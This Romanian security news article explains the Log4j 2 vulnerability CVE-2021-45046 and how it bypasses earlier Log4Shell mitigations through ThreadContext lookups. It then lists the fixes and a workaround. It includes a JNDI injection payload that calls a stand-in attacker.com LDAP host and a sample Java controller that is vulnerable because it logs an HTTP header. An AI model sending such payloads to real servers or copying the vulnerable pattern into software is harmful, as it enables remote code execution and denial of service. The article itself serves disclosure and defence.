În implementarea substituțiilor JNDI din biblioteca Log4j 2 a fost descoperită o altă vulnerabilitate (CVE-2021-45046), care se manifestă în ciuda corecțiilor aduse în versiunea 2.15 și indiferent de utilizarea setării „log4j2.noFormatMsgLookup” pentru protecție. Problema reprezintă un pericol în principal pentru versiunile vechi ale Log4j 2, protejate prin intermediul flag-ului „noFormatMsgLookup”, deoarece permite ocolirea protecției împotriva vulnerabilității anterioare (Log4Shell, CVE-2021-44228), care permite executarea codului pe server. Pentru utilizatorii versiunii 2.15, exploatarea se limitează la crearea de condiții pentru închiderea neașteptată a aplicației din cauza epuizării resurselor disponibile.
Vulnerabilitatea se manifestă doar pe sistemele care utilizează cereri de context (Context Lookup) în jurnalizare, cum ar fi ${ctx:loginId}, sau șabloane MDC (Thread Context Map), de exemplu, %X, %mdc și %MDC. Exploatarea constă în crearea de condiții pentru a imprima în jurnal date care conțin substituții JNDI, atunci când se utilizează în aplicație cereri de context sau șabloane MDC, care definesc regulile de format pentru ieșirea în jurnal.
Cercetătorii de la LunaSec au subliniat că pentru versiunile Log4j mai mici de 2.15, această vulnerabilitate poate fi utilizată ca un nou vector pentru atacul Log4Shell, conducând la executarea codului, dacă, în timpul înregistrării în jurnal, se folosesc expresii ThreadContext care includ date externe, indiferent de activarea flag-ului „noMsgFormatLookups” sau a șablonului „%m{nolookups}”.
Schemarea de protecție se reduce la faptul că, în loc de inserția directă „${jndi:ldap://attacker.com/a}”, această expresie este inserată prin intermediul unei variabile intermediare, utilizată în regulile de formatare a ieșirii în jurnal. De exemplu, dacă la ieșirea în jurnal se folosește o cerere contextului ${ctx:apiversion}, atacul poate fi realizat prin inserarea datelor „${jndi:ldap://attacker.com/a}” în valoarea stocată în variabila apiversion. Exemplu de cod vulnerabil: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(„/”) public String index(@RequestHeader(„X-Api-Version”) String apiVersion) { // Valoarea antetului HTTP „X-Api-Version” este transmisă în ThreadContext ThreadContext.put(„apiversion”, apiVersion); // La ieșirea în jurnal, valoarea externă apiversion va fi procesată prin inserarea ${ctx:apiversion} logger.info(„A fost primită o cerere pentru versiunea API”); return „Hello, world!”; }
În versiunea Log4j 2.15, vulnerabilitatea poate fi utilizată pentru a efectua atacuri DoS prin transmiterea în ThreadContext a valorilor care duc la cicluri infinite în procesarea modelului de formatare a ieșirii.
Pentru blocarea vulnerabilității, au fost publicate actualizările 2.16 și 2.12.2. În ramura Log4j 2.16, pe lângă corecturile realizate în versiunea 2.15 și asocierea cererilor JNDI LDAP cu „localhost”, funcționalitatea JNDI este complet dezactivată în mod implicit și suportul pentru șabloanele de substituție a mesajelor a fost eliminat. Drept soluție alternativă pentru protecție, se sugerează eliminarea clasei JndiLookup din classpath (de exemplu, „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”).
Urmărirea apariției corecțiilor în pachete poate fi făcută pe paginile distribuțiilor (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) și ale producătorilor de platforme Java (GitHub, Docker, Oracle, vmWare, Broadcom și Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure etc.).
Sursa: opennet.ro
